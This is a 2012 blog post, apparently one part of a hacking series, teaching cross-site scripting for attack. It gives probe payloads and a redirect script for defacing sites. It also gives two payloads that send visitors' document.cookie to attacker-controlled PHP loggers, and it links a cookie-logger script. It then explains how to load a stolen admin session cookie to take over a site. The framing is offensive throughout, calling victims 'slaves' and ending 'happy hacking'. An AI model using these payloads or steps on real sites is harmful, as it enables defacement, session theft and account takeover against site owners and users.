About Me

Friday, 13 April 2012

XSS part-3

What is XSS, what can I accomplish with it?
XSS is common in search bars and comment boxes. We can then inject almost any type of programming language into the website. Whether it be Javascript, HTML or XML. XSS is mainly directed at Javascript injection. However, you can inject other languages which will be shown later.
Most people use it to display messages on the website, redirect you to their defacement and even put cookie loggers and XSS shells on the website.

What causes this vulnerability?
Poor PHP coding within text boxes and submission forms. When coders are too lazy to code it properly allowing us to inject strings into the source code, that would then give us the conclusion of what we put in since it's also in the source code. They did not bother to filter what we type in. They allowed characters such as ">, ", /", etc.

What types of XSS are there?
There are two types of XSS. Persistent and non-persistent. If you inject some code into the website and it sticks to the website (you leave the page and come back, and it's still there) then it is persistent. That is good. When you get non-persistent it will not stick on the website, you will only see it once. With persistent XSS you can do much more, leave messages, redirect them, etc. With non-persistent the most you can do is upload a cookie logger.

What will you be teaching today?
The basics of XSS and cookie logging.

How to test for XSS vulnerabilities.
To test if the website is vulnerable to XSS we want to go to a search box and inject some Javascript. We've found a search box and now we want to use Javascript to alert a message so we can see if the Javascript was successfully executed.

Code:
<script>alert('XSS');</script>

We now see a pop up message on our screen saying "XSS" This is what it should look like this

[Image: xss1.png]

In some cases, a message might not pop up. If it doesn't work, check the source code and have a look at the output. Most of the time the error requires you to make a little change.

Code:
"><script>alert('XSS');</script>

Okay, we have found out that it is vulnerable. We can now move on.

How can I deface a webpage with XSS?
I will be showing you methods for persistent, and non-persistent XSS.

Persistent XSS.
First I will be starting with persistent XSS. Since it's persistent I want to redirect my victims to a deface page. We simply just inject this some more Javascript like we did before:

Code:
<script>window.location="http://yourdefacepage.com/index.html";</script>

Remember, you can always alter the code if it doesn't work.
You can do many things with XSS, you just need all the right strings. I'm only focusing on defacing, since most people just deface sites these days.
Non-persistent XSS.
Okay. Obviously we can't redirect users with non-persistent. But with basic web-based programming knowledge we can make a cookie logger. We may also need advanced social engineering skills for people to open our cookie logger.

How to make a cookie logger.
Make two files:
Cookiemonster.php
Cookies.txt

Link-http://tinypaste.com/770c6ee9 pwd - nullvoid


Then just leave cookies.txt blank. But make sure you made the file.

How do I send my cookie logger to my slave?

Code:
<a href="javascript:document.location='http://www.mysite.com/cookiemonster.php?cookie='+document.cookie;">Click here!</a>

Code:
<script>document.location="http://www.host.com/mysite/stealer.php?cookie=" + document.cookie;</script>

What does a cookie look like?
Once you have received their cookie it should end with "PHPSESSID=52ce8e4a74936673js24500be1919004"
The cookie is the string after "PHPSESSID="
There are different forms of cookies. If you have your cookie logger setup correctly it won't matter, just copy and paste it all into your cookie editor.
What can I do with someone else's cookie?
Once you have someone else's cookie you can use a cookie editor, (search for one on Google) go to the victims website, change your cookie to their's and you should be logged in as the user they are. Example; if your target is "admin" and "admin" has logged into the site, you send him your cookie logger and steal his cookie, you then change your cookie to the admin's cookie, and you will then have access to the website and do as you wish.

Using other programming languages for XSS
It's simple, to test if it's vulnerable try this.

Code:
<html><font color = "red">XSS</font>

If the text says XSS in red, then it's vulnerable to HTML injection as well. Just inject other languages in, and you will be able to do much more.

I HOPE THIS WILL HELP EVERYONE, HAPPY HACKING !!

0 comments:

Post a Comment